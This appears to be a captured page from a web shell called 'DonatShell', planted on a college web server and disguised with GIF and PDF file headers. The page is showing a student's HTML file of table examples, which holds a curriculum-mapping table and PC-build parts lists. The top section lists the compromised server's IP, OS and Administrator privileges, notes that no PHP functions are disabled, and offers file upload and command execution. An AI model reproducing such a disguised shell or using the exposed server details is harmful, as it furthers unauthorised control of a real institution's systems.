GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/Student/JimMartinson/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/Student/JimMartinson/examples/table.html
<!DOCTYPE html>
<html lang="en">
<head>
	<meta charset="UTF-8">
	<title>Table examples</title>
<link href="css/site.css" rel="stylesheet" type="text/css">
</head>
<body>
<table border="1" summary="This is a summary">
	<tbody>
		<tr>
			<th scope="row">&nbsp;</th>
			<th scope="row">&nbsp;</th>
			<th scope="row">&nbsp;</th>
			<td width="24">&nbsp;</td>
			<td width="44">&nbsp;</td>
		</tr>
		<tr>
			<th width="4" scope="row">&nbsp;</th>
			<td width="30">&nbsp;</td>
			<td width="29">&nbsp;</td>
			<td>&nbsp;</td>
			<td>&nbsp;</td>
		</tr>
		<tr>
			<th scope="row">&nbsp;</th>
			<td>&nbsp;</td>
			<td>&nbsp;</td>
			<td>&nbsp;</td>
			<td>&nbsp;</td>
		</tr>
	</tbody>
</table>

<table width="198" height="83" border="1">
	<tr>
		<td>&nbsp;</td>
		<td>&nbsp;</td>
		<td>&nbsp;</td>
		<td>&nbsp;</td>
		<td>&nbsp;</td>
	</tr>
	<tr>
		<td>&nbsp;</td>
		<td>&nbsp;</td>
		<td>&nbsp;</td>
		<td>&nbsp;</td>
		<td>&nbsp;</td>
	</tr>
</table>
<table width="100" height="148" align="right" id="t200">
	<caption>
		Table 1 captions
	</caption>
	<tbody>
		<tr>
			<th scope="col">&nbsp;</th>
			<th scope="col">&nbsp;</th>
			<th scope="col">&nbsp;</th>
			<th scope="col">&nbsp;</th>
			<th scope="col">&nbsp;</th>
		</tr>
		<tr>
			<td>&nbsp;</td>
			<td>&nbsp;</td>
			<td>&nbsp;</td>
			<td>&nbsp;</td>
			<td>&nbsp;</td>
		</tr>
		<tr>
			<td>&nbsp;</td>
			<td>&nbsp;</td>
			<td>&nbsp;</td>
			<td>&nbsp;</td>
			<td>&nbsp;</td>
		</tr>
	</tbody>
</table>	
<br clear="all">
<table border="1" align="center">
	<tr>
		<td>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Dignissimos, illo.</td>
		<td>Quos, deleniti deserunt commodi eum. Blanditiis neque inventore vel non.</td>
		<td>Ab, cupiditate impedit est. Minima quasi pariatur dolorem, modi quidem!</td>
		<td>Deleniti eos veniam enim! Culpa fugiat quod molestiae, reiciendis vero!</td>
		<td>Modi sunt veniam dolore unde minus dolor quam accusamus pariatur.</td>
	</tr>
	<tr>
		<td>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Nulla, non!</td>
		<td>Nostrum nihil velit fuga deleniti incidunt, harum culpa nemo enim?</td>
		<td>Esse, sed minima molestias modi neque fuga repellendus, aliquid vero?</td>
		<td>Velit deleniti, maiores ad, natus delectus expedita quidem harum aliquam.</td>
		<td>Delectus accusantium sit nemo cum assumenda inventore obcaecati rem hic.</td>
	</tr>
	<tr>
		<td>Lorem ipsum dolor sit amet, consectetur adipisicing elit. Voluptates, sit.</td>
		<td>Earum maiores laborum possimus sapiente nemo illum aliquid. Veniam, facilis.</td>
		<td>Nesciunt ullam, consequuntur voluptatum amet fugiat magnam dolorem. Dolore, quasi.</td>
		<td>Veniam rerum voluptate praesentium repellat alias illo, sit sunt laborum?</td>
		<td>Similique eaque nobis mollitia, cumque reiciendis praesentium vero nemo doloremque.</td>
	</tr>
</table>

<table border="1">
	<tr>
		<td>Ridgewter College curriculum mapping work</td>
		<td>&nbsp;</td>
		<td>&nbsp;</td>
	</tr>
	<tr>
		<td>Curriculum mapping document name</td>
		<td>Ridgewagter notes</td>
		<td>Ridgewater related classes <br>
			(all CST unless noted)</td>
	</tr>
	<tr>
		<td>Access Certificate</td>
		<td>currently offer one Access related class</td>
		<td>1600</td>
	</tr>
	<tr>
		<td>C# Certificate</td>
		<td>currently offer one C# related class</td>
		<td>1620</td>
	</tr>
	<tr>
		<td>C++ Certificate</td>
		<td>no classes offered, changed C++ to C# several years ago</td>
		<td>N/A</td>
	</tr>
	<tr>
		<td>Cisco Academy Certificate</td>
		<td>no certificate, offer 4 classes to prep for Cisco test</td>
		<td>1700, 1701, 2702, 2703</td>
	</tr>
	<tr>
		<td>Cisco Basic Certification</td>
		<td>no certificate, offer 4 classes to prep for Cisco test</td>
		<td>1700, 1701, 2702, 2703</td>
	</tr>
	<tr>
		<td>Cisco CCNA Certification</td>
		<td>no certificate, offer 4 classes to prep for Cisco test</td>
		<td>1700, 1701, 2702, 2703</td>
	</tr>
	<tr>
		<td>systems Certificate</td>
		<td>no certificate</td>
		<td>N/A</td>
	</tr>
	<tr>
		<td>CompTIA network+</td>
		<td>offer multiple classes</td>
		<td>1700, 1025, 1026, 1072, 1026, 2274, 2883, Should be 2823</td>
	</tr>
	<tr>
		<td>CompTIA Security+</td>
		<td>offer multiple classes</td>
		<td>2284, 2883, should be 2823, 1072, 2274</td>
	</tr>
	<tr>
		<td>CompTIA A+</td>
		<td>one specefic class and 7 other classes that provide foundation</td>
		<td>2504</td>
	</tr>
	<tr>
		<td>Computer info Technology (CITE) AAS</td>
		<td>we belive our Computer Support Technician A.A.S. Degree is similar</td>
		<td>N/A</td>
	</tr>
	<tr>
		<td>CITE certificate</td>
		<td>we belive our Computer Support Technician diploma is similar</td>
		<td>N/A</td>
	</tr>
	<tr>
		<td>Computer Network Admisitration AAS</td>
		<td>we belive our Network Systems Administration A.A.S. Degree is similar</td>
		<td>N/A</td>
	</tr>
	<tr>
		<td>Computer Programmer AAS</td>
		<td>yes, we offer this degree</td>
		<td>all courses required</td>
	</tr>
	<tr>
		<td>Computer Programmere Certificate</td>
		<td>Should be "diploma", yes, we offer this dipoma</td>
		<td>all courses required</td>
	</tr>
	<tr>
		<td>Computer Programming and Application Design AAS</td>
		<td>yes, we offer this degree</td>
		<td>all courses required</td>
	</tr>
	<tr>
		<td>Computer Support Technician AAS</td>
		<td>yes, we offer this degree</td>
		<td>all courses required</td>
	</tr>
	<tr>
		<td>Computer Support Technician certificate</td>
		<td>Should be "diploma", yes, we offer this dipoma</td>
		<td>all courses required</td>
	</tr>
	<tr>
		<td>Cyber Security AAS</td>
		<td>no AAS, offer multiple classes</td>
		<td>2284, 2823,1072, 2274</td>
	</tr>
	<tr>
		<td>Cyber Security Specialist Certificate</td>
		<td>no certificate, offer multiple classes</td>
		<td>2284, 2823,1072, 2275</td>
	</tr>
	<tr>
		<td>Database AAS</td>
		<td>no AAS, offer multiple classes</td>
		<td>2642, 1600, 1602, 11436, MMDt 1145</td>
	</tr>
	<tr>
		<td>Database Certfiicates (Levels 1, 2, 3)</td>
		<td>no certificates, offer multiple classes</td>
		<td>2642, 1600, 1602, 11436, MMDt 1146</td>
	</tr>
	<tr>
		<td>Hardware and Virtualization Certificate</td>
		<td>no certificate, offer multiple classes that touch on this topic area</td>
		<td>multiple</td>
	</tr>
	<tr>
		<td>ICOMM Certificate</td>
		<td>no certificate, offer one related class</td>
		<td>2845</td>
	</tr>
	<tr>
		<td>IT Infrastructure/Basic Netwrok Technology Cert</td>
		<td>no certificate, offer multiple related classes</td>
		<td>multiple</td>
	</tr>
	<tr>
		<td>Java Certificate</td>
		<td>yes, we offer this certificate</td>
		<td>all courses required</td>
	</tr>
	<tr>
		<td>Microsoft IT Academy Certificate</td>
		<td>no certificate, offer multiple related classes</td>
		<td>multiple </td>
	</tr>
	<tr>
		<td>Microsoft MCSD certification </td>
		<td>no certificate, offer multiple related classes</td>
		<td>multiple</td>
	</tr>
	<tr>
		<td>Microsoft Private Clud certfication (MOSE)</td>
		<td>no certificate, teach some classes, but not enough to prep students for test</td>
		<td>multiple</td>
	</tr>
	<tr>
		<td>Mobile App Design Certificate</td>
		<td>no certificate, strong base in mobile apps</td>
		<td>1640, 2642</td>
	</tr>
	<tr>
		<td>MySQL Certificate</td>
		<td>no certificate, offer one related class</td>
		<td>1145</td>
	</tr>
	<tr>
		<td>Network Systems AAS </td>
		<td>we belive our Network Systems Administration A.A.S. Degree is similar</td>
		<td>N/A</td>
	</tr>
	<tr>
		<td>Oracle Certificate</td>
		<td>no certificate, one related class</td>
		<td>1602</td>
	</tr>
	<tr>
		<td>Security Certificate</td>
		<td>no certificate, offer multiple classes</td>
		<td>2284, 2823,1072, 2275</td>
	</tr>
	<tr>
		<td>Virtualization Certificate</td>
		<td>no certificate, offer multiple classes that touch on this topic area</td>
		<td>multiple</td>
	</tr>
	<tr>
		<td>VMWare certification</td>
		<td>no certification, offer multiple classes that use VMWare, but not direct VMWare instruction</td>
		<td>multiple </td>
	</tr>
	<tr>
		<td>VOIP Certificate</td>
		<td>no certificate, offer one related class</td>
		<td>2845</td>
	</tr>
	<tr>
		<td>Web Design Certificate</td>
		<td>no certificate, offer multiple related classes</td>
		<td>multiple</td>
	</tr>
	<tr>
		<td>Web Programming AAS</td>
		<td>yes, we offer this degree as a partnership between MMDT and CST.</td>
		<td>all courses required</td>
	</tr>
	<tr>
		<td>Web Prgraming Certificate</td>
		<td>yes, we offer this degree as a partnership between MMDT and CST.</td>
		<td>all courses required</td>
	</tr>
</table>
sdf

<table border="1">
	<col width="43">
	<col width="54">
	<col width="71">
	<col width="436">
	<col width="550">
	<col width="43">
	<col width="32">
	<tr>
		<td width="43"><a name="RANGE!A1:G102"></a></td>
		<td width="54"></td>
		<td width="71"></td>
		<td width="436"></td>
		<td width="550"></td>
		<td width="43">build</td>
		<td width="32">line</td>
	</tr>
	<tr>
		<td></td>
		<td></td>
		<td></td>
		<td></td>
		<td></td>
		<td align="right">1</td>
		<td align="right">91</td>
	</tr>
	<tr>
		<td></td>
		<td></td>
		<td></td>
		<td>Orange Micro</td>
		<td></td>
		<td align="right">1.001</td>
		<td align="right">85</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$134.99</td>
		<td align="right">$134.99</td>
		<td>AMD A10 7870K Processors 3.9GHz</td>
		<td><a href="http://www.amazon.com/dp/B00Y1AJLS2/?tag=pcpapi-20">http://www.amazon.com/dp/B00Y1AJLS2/?tag=pcpapi-20</a></td>
		<td align="right">1.01</td>
		<td align="right">2</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$54.99</td>
		<td align="right">$54.99</td>
		<td>MSI A68HM-GRENADE FM2+ AMD A68H Motherboard</td>
		<td><a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16813130856&nm_mc=AFC-C8Junction&cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&cm_sp=&AID=10446076&PID=3938566&SID=">http://www.newegg.com/Product/Product.aspx?Item=N82E16813130856&amp;nm_mc=AFC-C8Junction&amp;cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&amp;cm_sp=&amp;AID=10446076&amp;PID=3938566&amp;SID=</a></td>
		<td align="right">1.02</td>
		<td align="right">73</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$70.99</td>
		<td align="right">$70.99</td>
		<td>HyperX FURY 16GB (2 x 8GB) DDR3L 1600 (PC3L 12800) Memory</td>
		<td><a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16820104578&nm_mc=AFC-C8Junction&cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&cm_sp=&AID=10446076&PID=3938566&SID=">http://www.newegg.com/Product/Product.aspx?Item=N82E16820104578&amp;nm_mc=AFC-C8Junction&amp;cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&amp;cm_sp=&amp;AID=10446076&amp;PID=3938566&amp;SID=</a></td>
		<td align="right">1.03</td>
		<td align="right">69</td>
	</tr>
	<tr>
		<td align="right">2</td>
		<td align="right">$149.99</td>
		<td align="right">$299.98</td>
		<td>Samsung 850 EVO-Series 500GB 2.5&quot; Solid State Drive</td>
		<td><a href="http://www.amazon.com/dp/B00OBRE5UE/?tag=pcpapi-20">http://www.amazon.com/dp/B00OBRE5UE/?tag=pcpapi-20</a></td>
		<td align="right">1.04</td>
		<td align="right">25</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$79.99</td>
		<td align="right">$79.99</td>
		<td>Gigabyte Radeon R7 250 2GB Video Card</td>
		<td><a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16814125829&nm_mc=AFC-C8Junction&cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&cm_sp=&AID=10446076&PID=3938566&SID=">http://www.newegg.com/Product/Product.aspx?Item=N82E16814125829&amp;nm_mc=AFC-C8Junction&amp;cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&amp;cm_sp=&amp;AID=10446076&amp;PID=3938566&amp;SID=</a></td>
		<td align="right">1.05</td>
		<td align="right">67</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$59.99</td>
		<td align="right">$59.99</td>
		<td>Apevia X-QPACK3-OG MicroATX Mini Tower Case</td>
		<td><a href="http://www.amazon.com/dp/B017AEDI1G/?tag=pcpapi-20">http://www.amazon.com/dp/B017AEDI1G/?tag=pcpapi-20</a></td>
		<td align="right">1.06</td>
		<td align="right">3</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$39.15</td>
		<td align="right">$39.15</td>
		<td>EVGA 500W 80+ Certified ATX Power Supply</td>
		<td><a href="http://www.amazon.com/dp/B00H33SFJU/?tag=pcpapi-20">http://www.amazon.com/dp/B00H33SFJU/?tag=pcpapi-20</a></td>
		<td align="right">1.07</td>
		<td align="right">14</td>
	</tr>
	<tr>
		<td>1</td>
		<td align="right">$19.99</td>
		<td align="right">$19.99</td>
		<td>Asus DRW-24B1ST/BLK/B/AS DVD/CD Writer</td>
		<td>http://www.microcenter.com/product/406773/DRW-24B1ST_Internal_DVD%C2%B1R-RW_Burner_-_OEM</td>
		<td align="right">1.08</td>
		<td align="right">40</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$9.99</td>
		<td align="right">$9.99</td>
		<td>NZXT Air Flow Series 83.6 CFM 140mm Fan</td>
		<td><a href="http://www.amazon.com/dp/B007TSREF0/?tag=pcpapi-20">http://www.amazon.com/dp/B007TSREF0/?tag=pcpapi-20</a></td>
		<td align="right">1.09</td>
		<td align="right">22</td>
	</tr>
	<tr>
		<td></td>
		<td>Total</td>
		<td align="right">$770.06</td>
		<td></td>
		<td></td>
		<td align="right">1.99</td>
		<td align="right">92</td>
	</tr>
	<tr>
		<td></td>
		<td></td>
		<td></td>
		<td>Edward Snowden</td>
		<td></td>
		<td align="right">2.001</td>
		<td align="right">86</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$339.99</td>
		<td align="right">$339.99</td>
		<td>Intel Core i7-4790K 4.0GHz Quad-Core Processor</td>
		<td><a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16819117369&nm_mc=AFC-C8Junction&cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&cm_sp=&AID=10446076&PID=3938566&SID=">http://www.newegg.com/Product/Product.aspx?Item=N82E16819117369&amp;nm_mc=AFC-C8Junction&amp;cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&amp;cm_sp=&amp;AID=10446076&amp;PID=3938566&amp;SID=</a></td>
		<td align="right">2.01</td>
		<td align="right">70</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$149.99</td>
		<td align="right">$149.99</td>
		<td>Gigabyte GA-Z97X-GAMING 7 ATX LGA1150 Motherboard</td>
		<td><a href="http://www.amazon.com/dp/B00JKCHDEU/?tag=pcpapi-20">http://www.amazon.com/dp/B00JKCHDEU/?tag=pcpapi-20</a></td>
		<td align="right">2.02</td>
		<td align="right">16</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$124.99</td>
		<td align="right">$124.99</td>
		<td>Crucial Ballistix Sport 32GB (4 x 8GB) DDR3-1600 Memory</td>
		<td><a href="http://www.amazon.com/dp/B007HAXMGA/?tag=pcpapi-20">http://www.amazon.com/dp/B007HAXMGA/?tag=pcpapi-20</a></td>
		<td align="right">2.03</td>
		<td align="right">12</td>
	</tr>
	<tr>
		<td align="right">2</td>
		<td align="right">$289.99</td>
		<td align="right">$579.98</td>
		<td>Samsung 850 EVO 1 TB 2.5-Inch SATA III Internal SSD</td>
		<td><a href="http://www.amazon.com/dp/B00OBRFFAS/?tag=pcpapi-20">http://www.amazon.com/dp/B00OBRFFAS/?tag=pcpapi-20</a></td>
		<td align="right">2.04</td>
		<td align="right">23</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$134.99</td>
		<td align="right">$134.99</td>
		<td>WD Red Pro 2TB NAS Hard Disk Drive WD2001FFSX</td>
		<td><a href="http://www.amazon.com/dp/B00LO3KRS2/?tag=pcpapi-20">http://www.amazon.com/dp/B00LO3KRS2/?tag=pcpapi-20</a></td>
		<td align="right">2.05</td>
		<td align="right">29</td>
	</tr>
	<tr>
		<td align="right">2</td>
		<td align="right">$319.99</td>
		<td align="right">$639.98</td>
		<td>EVGA GeForce GTX 970 04G-P4-2974-KR 4GB Graphics Card</td>
		<td><a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16814487076&nm_mc=AFC-C8Junction&cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&cm_sp=&AID=10446076&PID=3938566&SID=">http://www.newegg.com/Product/Product.aspx?Item=N82E16814487076&amp;nm_mc=AFC-C8Junction&amp;cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&amp;cm_sp=&amp;AID=10446076&amp;PID=3938566&amp;SID=</a></td>
		<td align="right">2.06</td>
		<td align="right">63</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$160.23</td>
		<td align="right">$160.23</td>
		<td>Cooler Master HAF X - Full Tower Computer Case</td>
		<td><a href="http://www.amazon.com/dp/B003S68Q0Y/?tag=pcpapi-20">http://www.amazon.com/dp/B003S68Q0Y/?tag=pcpapi-20</a></td>
		<td align="right">2.07</td>
		<td align="right">7</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$109.99</td>
		<td align="right">$109.99</td>
		<td>Corsair CX Series, CX850M, 850 Watt (850W) Power Supply</td>
		<td><a href="http://www.amazon.com/dp/B00OVCJKWC/?tag=pcpapi-20">http://www.amazon.com/dp/B00OVCJKWC/?tag=pcpapi-20</a></td>
		<td align="right">2.08</td>
		<td align="right">11</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$54.99</td>
		<td align="right">$54.99</td>
		<td>WH16NS40 16x Internal Blu-Ray Rewriter</td>
		<td><a href="http://www.microcenter.com/product/428804/WH16NS40_16x_Internal_Blu-Ray_Rewriter">http://www.microcenter.com/product/428804/WH16NS40_16x_Internal_Blu-Ray_Rewriter</a></td>
		<td align="right">2.09</td>
		<td align="right">50</td>
	</tr>
	<tr>
		<td>1</td>
		<td align="right">$29.99</td>
		<td align="right">$29.99</td>
		<td>Asus - Sound Board - Internal</td>
		<td><a href="http://www.bestbuy.com/site/asus-sound-board-internal/4229647.p?id=1218463780159&ref=199&loc=8BacdVP0GFs&acampID=1&siteID=8BacdVP0GFs-F3pccVSpm_87aGENqJSKAQ">http://www.bestbuy.com/site/asus-sound-board-internal/4229647.p?id=1218463780159&amp;ref=199&amp;loc=8BacdVP0GFs&amp;acampID=1&amp;siteID=8BacdVP0GFs-F3pccVSpm_87aGENqJSKAQ</a></td>
		<td align="right">2.1</td>
		<td align="right">34</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$34.99</td>
		<td align="right">$34.99</td>
		<td>ASUS Xonar DGX PCI-E GX2.5 Audio Engine Sound Card</td>
		<td><a href="http://www.amazon.com/dp/B007TMZ1BK/?tag=pcpapi-20">http://www.amazon.com/dp/B007TMZ1BK/?tag=pcpapi-20</a></td>
		<td align="right">2.11</td>
		<td align="right">6</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$239.00</td>
		<td align="right">$239.00</td>
		<td>Logitech X-530 5.1 Speaker System</td>
		<td><a href="http://www.amazon.com/Logitech-X-530-5-1-Speaker-System/dp/B0002WPSCG">http://www.amazon.com/Logitech-X-530-5-1-Speaker-System/dp/B0002WPSCG</a></td>
		<td align="right">2.15</td>
		<td align="right">21</td>
	</tr>
	<tr>
		<td></td>
		<td>Total</td>
		<td align="right">$2,599.11</td>
		<td></td>
		<td></td>
		<td align="right">2.99</td>
		<td align="right">93</td>
	</tr>
	<tr>
		<td></td>
		<td></td>
		<td></td>
		<td>Feel the Burn</td>
		<td></td>
		<td align="right">3.001</td>
		<td align="right">87</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$359.99</td>
		<td align="right">$359.99</td>
		<td>Intel Core i7-6700K 4.0GHz Quad-Core Processor</td>
		<td><a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16819117559&nm_mc=AFC-C8Junction&cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&cm_sp=&AID=10446076&PID=3938566&SID=">http://www.newegg.com/Product/Product.aspx?Item=N82E16819117559&amp;nm_mc=AFC-C8Junction&amp;cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&amp;cm_sp=&amp;AID=10446076&amp;PID=3938566&amp;SID=</a></td>
		<td align="right">3.01</td>
		<td align="right">71</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$29.49</td>
		<td align="right">$29.49</td>
		<td>Cooler Master Hyper 212 EVO 82.9 CFM Sleeve Bearing CPU Cooler</td>
		<td><a href="http://www.amazon.com/dp/B005O65JXI/?tag=pcpapi-20">http://www.amazon.com/dp/B005O65JXI/?tag=pcpapi-20</a></td>
		<td align="right">3.02</td>
		<td align="right">9</td>
	</tr>
	<tr>
		<td>1</td>
		<td align="right">$69.99</td>
		<td align="right">$69.99</td>
		<td>MSI Z170A GAMING M5 ATX LGA1151 Motherboard</td>
		<td><a href="http://www.microcenter.com/product/452418/Z170A_GAMING_M5_LGA_1151_ATX_Intel_Motherboard">http://www.microcenter.com/product/452418/Z170A_GAMING_M5_LGA_1151_ATX_Intel_Motherboard</a></td>
		<td align="right">3.03</td>
		<td align="right">49</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$139.99</td>
		<td align="right">$139.99</td>
		<td>Crucial Ballistix Sport 32GB (4 x 8GB) DDR4-2400 Memory</td>
		<td>http://www.newegg.com/Product/Product.aspx?Item=N82E16820148867&amp;nm_mc=AFC-C8Junction&amp;cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&amp;cm_sp=&amp;AID=10446076&amp;PID=3938566&amp;SID=</td>
		<td align="right">3.04</td>
		<td align="right">60</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$74.99</td>
		<td align="right">$74.99</td>
		<td>Sandisk Ultra II 240GB 2.5&quot; Solid State Drive</td>
		<td><a href="http://www.amazon.com/dp/B00M8ABEIM/?tag=pcpapi-20">http://www.amazon.com/dp/B00M8ABEIM/?tag=pcpapi-20</a></td>
		<td align="right">3.05</td>
		<td align="right">26</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$47.99</td>
		<td align="right">$47.99</td>
		<td>Seagate Barracuda 1TB 3.5&quot; 7200RPM Internal Hard Drive</td>
		<td><a href="http://www.amazon.com/dp/B005T3GRNW/?tag=pcpapi-20">http://www.amazon.com/dp/B005T3GRNW/?tag=pcpapi-20</a></td>
		<td align="right">3.06</td>
		<td align="right">27</td>
	</tr>
	<tr>
		<td align="right">2</td>
		<td align="right">$319.99</td>
		<td align="right">$639.98</td>
		<td>EVGA GeForce GTX 970 4GB Superclocked ACX 2.0 Video Card</td>
		<td><a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16814487076&nm_mc=AFC-C8Junction&cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&cm_sp=&AID=10446076&PID=3938566&SID=">http://www.newegg.com/Product/Product.aspx?Item=N82E16814487076&amp;nm_mc=AFC-C8Junction&amp;cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&amp;cm_sp=&amp;AID=10446076&amp;PID=3938566&amp;SID=</a></td>
		<td align="right">3.07</td>
		<td align="right">64</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$99.99</td>
		<td align="right">$99.99</td>
		<td>Fractal Design Define R4 (Black Pearl) ATX Mid Tower Case</td>
		<td><a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16811352020&nm_mc=AFC-C8Junction&cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&cm_sp=&AID=10446076&PID=3938566&SID=">http://www.newegg.com/Product/Product.aspx?Item=N82E16811352020&amp;nm_mc=AFC-C8Junction&amp;cm_mmc=AFC-C8Junction-PCPartPicker,%20LLC-_-na-_-na-_-na&amp;cm_sp=&amp;AID=10446076&amp;PID=3938566&amp;SID=</a></td>
		<td align="right">3.08</td>
		<td align="right">65</td>
	</tr>
	<tr>
		<td align="right">1</td>
		<td align="right">$68.99</td>
		<td align="right">$68.99</td>
		<td>Corsair CX 600W 80+ Bronze ATX Power Supply</td>
		<td><a href="http://www.amazon.com/dp/B00ALYOPSS/?tag=pcpapi-20">http://www.amazon.com/dp/B00ALYOPSS/?tag=pcpapi-20</a></td>
		<td align="right">3.09</td>
		<td align="right">10</td>
	</tr>
	<tr>
		<td>1</td>
		<td align="right">$19.99</td>
		<td align="right">$19.99</td>
		<td>Asus DRW-24B1ST/BLK/B/AS DVD/CD Writer</td>
		<td><a href="http://www.microcenter.com/product/406773/DRW-24B1ST_Internal_DVD%C2%B1R-RW_Burner_-_OEM">http://www.microcenter.com/product/406773/DRW-24B1ST_Internal_DVD%C2%B1R-RW_Burner_-_OEM</a></td>
		<td align="right">3.1</td>
		<td align="right">41</td>
	</tr>
	<tr>
		<td>4</td>
		<td align="right">$6.99</td>
		<td align="right">$27.96</td>
		<td>Belkin F9L1001 802.11b/g/n USB 2.0 Wi-Fi Adapter</td>
		<td><a href="http://www.microcenter.com/product/367187/N150_Wireless_N_USB_Adapter">http://www.microcenter.com/product/367187/N150_Wireless_N_USB_Adapter</a></td>
		<td align="right">3.11</td>
		<td align="right">44</td>
	</tr>
	<tr>
		<td>1</td>
		<td align="right">$499.99</td>
		<td align="right">$499.99</td>
		<td>Asus MG279Q 144Hz 27.0&quot; Monitor</td>
		<td><a href="http://www.microcenter.com/product/450964/MG279Q_27_LED_Gaming_FreeSync_Monitor">http://www.microcenter.com/product/450964/MG279Q_27_LED_Gaming_FreeSync_Monitor</a></td>
